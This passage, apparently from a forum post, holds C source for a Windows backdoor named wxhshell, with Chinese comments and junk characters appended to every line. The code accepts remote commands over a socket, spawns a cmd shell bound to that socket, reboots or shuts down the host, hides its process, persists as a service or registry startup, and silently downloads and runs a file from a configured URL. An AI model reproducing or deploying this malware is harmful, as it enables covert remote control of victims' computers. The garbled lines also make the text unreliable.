  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )@]%:m!ER  
  } 1 UQ,V`y  
  else { @52#ZWy  
Ir;JYY!0?  
    switch(cmd[0]) { \p^V~fy7rU  
  )x-b+SC  
  // 帮助 QO@86{u#Y  
  case '?': { =OufafZb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @ZEBtM%.O  
    break; {lK2yi  
  } E}wT5t;u  
  // 安装 q<AnWNheE  
  case 'i': { _hnsH I!oD  
    if(Install()) :.PA(97x b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4U2{1aN`  
    else 2V~E <K-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5OM #_.p  
    break; :'h$]p%  
    } xMbgBx4+  
  // 卸载 qrMED_(D  
  case 'r': { |bk9< i ?  
    if(Uninstall()) iEn:Hh)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z+B*V )a=  
    else t?hfP2&6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3a:Hx| Yg  
    break; Jp jHbG  
    } )\])?q61  
  // 显示 wxhshell 所在路径 <NZPLo F  
  case 'p': { '2X$. ^aW  
    char svExeFile[MAX_PATH]; $9%F1:u  
    strcpy(svExeFile,"\n\r"); 628iN%[-  
      strcat(svExeFile,ExeFile); 8#!g;`~ D  
        send(wsh,svExeFile,strlen(svExeFile),0); zk<V0NJIL*  
    break; )qx;/=D  
    } U\%r33L )  
  // 重启 ^cZ< .d2  
  case 'b': { *VsGa<V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -1Tr!I:1  
    if(Boot(REBOOT)) 6UCF w>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?22U0UF  
    else { J0V m&TY  
    closesocket(wsh); :E}y Pcw  
    ExitThread(0); pW+uVv,  
    } (uX?XX^  
    break; 7V%P  
    } #E+ybwA  
  // 关机 ]R Ah['u|  
  case 'd': { k86TlQRh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); brp3xgQ`]  
    if(Boot(SHUTDOWN)) YM`T"`f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LZ wCe$1  
    else { ]Ea-MeH  
    closesocket(wsh); +TbAtkEF*  
    ExitThread(0); Z*M{  
    } G,>YzjMY`  
    break; r10VFaly  
    } 3IRur,|'  
  // 获取shell dC,C[7\  
  case 's': { 6):1U  
    CmdShell(wsh); dQT[pNp:  
    closesocket(wsh); a0hBF4+6  
    ExitThread(0); Yuw:W:wY  
    break; Ck#e54gJX  
  } *%/O (ohs@  
  // 退出 A|LO!P,w  
  case 'x': { (s&:D`e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S'5)K  
    CloseIt(wsh); {C&U q#V  
    break; T1qbb*  
    } .X%J}c$  
  // 离开 YyYZD{^  
  case 'q': { 4Q0ZY(2 EO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #f"eZAQ {  
    closesocket(wsh); Lfn$Q3}O`$  
    WSACleanup(); 0Xb\w^  
    exit(1); ?o[h$7` o6  
    break; .8W-,R4  
        } !`%j#bv  
  } rO>'QZ%  
  } O)`L( x  
!#pc@(rE  
  // 提示信息 `E1G9BbU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .mfLHN%:  
} sJx_X8  
  } 0 aH&M4  
nHm29{G0  
  return; C W#:'  
} 0?$|F0U"J  
8OZasf  
// shell模块句柄 *-PjcF}Y  
int CmdShell(SOCKET sock) mH\zSk  
{ Dx1(}D  
STARTUPINFO si; )1!<<;@0  
ZeroMemory(&si,sizeof(si)); }0pp"[JU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3v\P6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O6NH  
PROCESS_INFORMATION ProcessInfo; K-:y  
char cmdline[]="cmd"; 8<"g&+T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q k}RcP  
  return 0; #M|lBYdW}  
} @Pk<3.S0  
)Xg5=zn$  
// 自身启动模式 ( jU $  
int StartFromService(void) ya1 aWs~  
{ lXTE#,XVf  
typedef struct ^P@:CBO  
{ OC*28)  
  DWORD ExitStatus; ZN#b5I2Pf  
  DWORD PebBaseAddress; :=y5713  
  DWORD AffinityMask; 1v|-+p42  
  DWORD BasePriority; "7y, d%H  
  ULONG UniqueProcessId; m|W17LhW{  
  ULONG InheritedFromUniqueProcessId; y@l&B+2ks  
}   PROCESS_BASIC_INFORMATION; W9]z]6  
H2BRI d  
PROCNTQSIP NtQueryInformationProcess; _M/N_Fm  
OiQf=Uz\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WGn=3(4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Z~ZSu  
pZ'q_Oux  
  HANDLE             hProcess; 0]bt}rh  
  PROCESS_BASIC_INFORMATION pbi; uQ-GJI^t  
J{b#X"i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FShjUl>mV  
  if(NULL == hInst ) return 0; g0j)k6<6(Y  
I9 zs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |&8XmexLb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I`{*QU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A .&c>{B7  
3h:~NL  
  if (!NtQueryInformationProcess) return 0; :W0p3 6"  
lo>9 \ Po  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .4\I?  
  if(!hProcess) return 0; f;^ +q-Q  
u!|_bI3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kVQm|frUz  
w\GJ,e  
  CloseHandle(hProcess); 56z>/`=  
Ck )W=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); */h(4Hz  
if(hProcess==NULL) return 0; ^(^P#EEG  
zN!W_2W*  
HMODULE hMod; L@GICW~  
char procName[255]; uX_#NP/2  
unsigned long cbNeeded; vU,7Y|t`  
0a89<yX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UxNn5(:sM@  
>`UqS`YQK  
  CloseHandle(hProcess); *fc8M(]&d  
}d}gb`Du  
if(strstr(procName,"services")) return 1; // 以服务启动 <&b,%O  
)!27=R/  
  return 0; // 注册表启动 %cn 1d>M+I  
} bs|gQZG  
T+Re1sPr?  
// 主模块 0]7jb_n1  
int StartWxhshell(LPSTR lpCmdLine) P?V+<c{  
{ N9M}H#  
  SOCKET wsl; 5z0Sns  
BOOL val=TRUE; [Ix6ArY  
  int port=0; \;Q(o$5<  
  struct sockaddr_in door; n R,QG8  
=? !FO'zt"  
  if(wscfg.ws_autoins) Install(); ~$6` e:n  
.\oW@2,RA9  
port=atoi(lpCmdLine); NOs00H  
e">&B]#}  
if(port<=0) port=wscfg.ws_port; v];YC6shx  
@@\qso  
  WSADATA data; F'[Y.tA ,#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VgXT4gO!  
T%%EWa<a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =Ya^PAj '}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #WG}"[ ,c  
  door.sin_family = AF_INET; E'{:HX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 17'd~-lE  
  door.sin_port = htons(port); 25Z} .))  
q0%QMut%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h$`m0-'  
closesocket(wsl); Wy-_}wqHg  
return 1; Ec<33i]h*p  
} 'yH  
f`ibP6%  
  if(listen(wsl,2) == INVALID_SOCKET) { RDSC@3%  
closesocket(wsl); !4cCq_  
return 1; ;V~x[J|x  
} D,..gsg  
  Wxhshell(wsl); !)oQ9,N  
  WSACleanup(); 2<UC^vZ  
<[ dt2)%L>  
return 0; yH:p*|%:  
^(  
} }~LGq.H  
}f;TG:6  
// 以NT服务方式启动 a=ZVKb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a\m=E#G  
{ ,k.")  
DWORD   status = 0; L:_{bE|TY  
  DWORD   specificError = 0xfffffff; GTbV5{Ss  
@>VX]Qe^X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nT:<_'!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~h<T0Zc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XC<'m{^(m  
  serviceStatus.dwWin32ExitCode     = 0; 9E5*%Hu_  
  serviceStatus.dwServiceSpecificExitCode = 0; Zt41fPQ  
  serviceStatus.dwCheckPoint       = 0; IIMf\JdM  
  serviceStatus.dwWaitHint       = 0; "PTEt{qn  
19R~&E's  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _T.`+0UV  
  if (hServiceStatusHandle==0) return; <J~6Q  
])qnPoQ<n  
status = GetLastError();  IN6L2/Q  
  if (status!=NO_ERROR) CEkf0%YJ  
{  ,e 7 ~G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dL'oIBp  
    serviceStatus.dwCheckPoint       = 0; Cs"ivET  
    serviceStatus.dwWaitHint       = 0; IV1O/lGp  
    serviceStatus.dwWin32ExitCode     = status; ,3G B9  
    serviceStatus.dwServiceSpecificExitCode = specificError; @QpL*F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RK&RMN8@  
    return; ,Cm1~ExJ  
  } b H5lLcdf  
o@$py U8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4%yeEc ;z  
  serviceStatus.dwCheckPoint       = 0; /55 3v;l<  
  serviceStatus.dwWaitHint       = 0; 'g<FL`iP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]~3a~  
} c.-dwz  
lUnC+w#[  
// 处理NT服务事件,比如:启动、停止 6m(+X M S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^5!"[RB\  
{ HN;f~EQT  
switch(fdwControl) 2xy{g&G  
{ e9k$5ps  
case SERVICE_CONTROL_STOP: 04X/(74  
  serviceStatus.dwWin32ExitCode = 0; >A L^y( G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7O=7lQ  
  serviceStatus.dwCheckPoint   = 0; <pT1p4T<  
  serviceStatus.dwWaitHint     = 0; L?(1 [jB4G  
  { HZ{DlH;&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n#P?JyGm1g  
  } oB!-JX9  
  return; IQ~EL';<w  
case SERVICE_CONTROL_PAUSE: ;,KT+!H$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?|<p^:  
  break; @, z4{B  
case SERVICE_CONTROL_CONTINUE: !r*JGv=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R|O^7o  
  break; eg"!.ol  
case SERVICE_CONTROL_INTERROGATE: wD pL9q  
  break; 2F,?}jJ.K  
}; S: g 2V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I'R|B\  
} b]Lp_t  
i@YM{FycX  
// 标准应用程序主函数 5.Nc6$ N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S }G3ha  
{ 59_VC('  
gEq";B%?  
// 获取操作系统版本 p!LaR.8]  
OsIsNt=GetOsVer(); 4Z{ r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wqQrby<  
LgSVEQb6\|  
  // 从命令行安装 5[+E?4,&  
  if(strpbrk(lpCmdLine,"iI")) Install(); =:^f6"p&Z  
WWIQ6EJO  
  // 下载执行文件 l\=He  
if(wscfg.ws_downexe) { W^9=z~-h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  {0} Q5  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7/c9azmC  
} c~Z\|Y`#B  
p@=B\A]  
if(!OsIsNt) { ]K>x:vMKH  
// 如果时win9x,隐藏进程并且设置为注册表启动 URxy*)  
HideProc(); J*f..:m  
StartWxhshell(lpCmdLine); >Q# !.lH$W  
} cD4H@!=a  
else 8:Jc2K  
  if(StartFromService()) naW!Mga  
  // 以服务方式启动 C@FX[:l@-  
  StartServiceCtrlDispatcher(DispatchTable); - z"D_5  
else pH!8vnoA  
  // 普通方式启动 i<uk}  
  StartWxhshell(lpCmdLine); JclG*/Wjg4  
gl"1;C  
return 0; 7{DSLKtN  
}
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只看该作者 1 发表于: 2006-10-10
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